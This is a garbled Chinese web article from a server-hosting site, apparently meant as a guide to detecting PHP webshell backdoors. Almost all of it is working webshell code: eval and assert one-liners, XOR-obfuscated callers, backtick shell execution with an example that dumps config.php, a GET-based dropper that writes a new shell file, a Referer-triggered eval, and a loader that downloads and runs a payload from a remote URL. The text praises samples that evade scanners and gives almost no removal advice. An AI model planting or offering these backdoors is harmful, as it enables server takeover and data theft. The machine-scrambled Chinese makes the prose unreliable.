欢迎来到云服务器

网络技术

如何查找识别删除简朴的免杀PHP Webshell后门

这类后门让网站、处事器打点员极端头疼,常常要换着要领举办各类检测,而许多新呈现的编写技能,用普通的检测要领是没法发明并处理惩罚的。本日我们细数一些有意思的PHP一句话木马。

一个最常见的一句话后门大概写作这样



<?php @eval($_POST['cmd']);?>

或这样



<?php @assert($_POST['cmd']);?>

tudouya 同学在FREEBUF上给出[一种结构能力]操作


<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

结构生成,虽然,嫌太直观可以写作这样


<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码举办伪装,一个简朴的”免杀”shell样本就呈现了

我们再来看看号称史上最简朴免查杀php后门

直接上代码:



<?php

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精简

/*******************************************************
 * 道理:PHP中``标记包括会看成系统呼吁执行
 * 示例:http://host/?c=type%20config.php>config.txt
 *    然后就可以下载config.txt查察内容了!
 *    可以试试更失常的呼吁,不要干坏事哦!
 *******************************************************/




其实现道理就是PHP会直接将 ` 标记(留意:不是单引号)包括的内容理会为系统呼吁执行!这样就可以自由失常地扩展了!

再来看同样很简朴的一段代码



<?php
preg_replace("/[errorpage]/e",@str_rot13([email protected]($_CBFG[cntr]);'),"saft");
?>

暗码page

近期捕捉一个基于PHP实现的webshell样本,其巧妙的代码动态生成方法,猥琐的自身页面伪装手法,让我们在阐明这个样本的进程中感觉到相当多的兴趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell



<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

要害看下面这句代码,


sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地点如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后挪用file_get_contents函数读取图片为字符串,,然后substr取3649字节之后的内容,再挪用gzuncompress解压,获得真正的代码。最后挪用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,


<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

无特征埋没PHP一句话:



   <?php
session_start();
$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);
$_SESSION [ 'theCode' ]&&preg_replace( ''a'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION['theCode']))' , 'a' );
?>


将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描东西来查抄代码的话,是不会报警的,到达目标了。
超等隐蔽的PHP后门:



<?php $_GET [a]( $_GET [b]);?>

 
仅用GET函数就组成了木马;
操作要领:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目次生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不行小视,简简朴单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此要领用两个文件实现,文件1
 



 <?php
//1.php
header( 'Content-type:text/html;charset=utf-8' );
parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );
if (reset( $a ) == '10' && count ( $a ) == 9) {
eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));
}

?>


腾讯云代理

Copyright © 2003-2021 MFISP.COM. 国外vps服务器租用 梦飞云服务器租用 版权所有 粤ICP备11019662号